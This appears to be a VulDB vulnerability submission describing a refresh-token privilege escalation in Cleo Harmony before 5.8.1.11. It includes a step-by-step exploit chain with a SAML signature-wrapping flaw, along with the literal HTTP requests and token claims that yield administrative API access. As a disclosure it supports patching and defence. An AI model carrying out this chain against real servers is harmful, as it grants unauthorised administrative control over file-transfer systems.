| 标题 | Cleo Harmony < 5.8.1.11 Privilege Escalation via Cross-Store Identity Lookup Confusion |
|---|
| 描述 | The Cleo Harmony authentication handler has a vulnerability where refresh tokens (JWTs) are issued with incorrect authorization metadata. The server mistakenly stamps refresh tokens with a `UNI_ADMIN` type tag while populating the `sub` claim with the user's local identifier.
This mismatch creates a cross-store identifier collision during token replay: the `UNI_ADMIN` tag directs the server to validate the token against the independent administrator user store rather than the standard user database. While authentication fails for most users due to the lack of a matching entry, the server erroneously grants full administrative access if the `sub` claim matches an existing administrator's username, effectively treating the two independent namespaces as interchangeable.
This vulnerability can be successfully weaponized by chaining it with the separately reported SAML XML Signature Wrapping (XSW) flaw (https://vuldb.com/submit/882467). By asserting the default username `administrator` via the XSW flaw, an attacker can force the issuance of a refresh token that resolves to the administrative account upon replay. This grants unrestricted access to the Cleo Administrative API and WebAdmin interface.
Technical Details:
1. Exploit the SAML XSW vulnerability (separately reported in ticket #14484067) by setting `User.Email = administrator`.
2. POST the wrapped SAMLResponse to the `/portal` endpoint to obtain the initial SAML SSO JWT.
3. Force the server to create a `UNI_ADMIN` refresh token. Ensure the `cleo.portal.sso_authentication` cookie is removed before sending the request:
POST /api/authentication/refresh HTTP/2
Host: cleo.example.com
Authorization: Bearer <SAML_jwt from Step 2>
Content-Length: 0
Response (200 OK), containing the `refresh_token` claims:
{
"sub": "administrator",
"AccessType": "UNI_ADMIN",
"iss": "http://www.cleo.com"
}
4. Replay the refresh token as a `Bearer` token against any administrative `/api/*` endpoint:
GET /api/connections HTTP/2
Host: cleo.example.com
Authorization: Bearer <UNI_ADMIN refresh_token from Step 3> |
|---|
| 来源 | ⚠️ https://support.cleo.com/hc/en-us/articles/30258468834583-Cleo-Harmony-5-8-1-Release-Notes#Version58111 |
|---|
| 用户 | Anonymous User |
|---|
| 提交 | 2026-07-07 23時24分 (3 月前) |
|---|
| 管理 | 2026-09-01 09時20分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 397558 [Cleo Harmony 直到 5.8.1.10 JWT Refresh Token /api/connections Bearer 权限提升] |
|---|
| 积分 | 20 |
|---|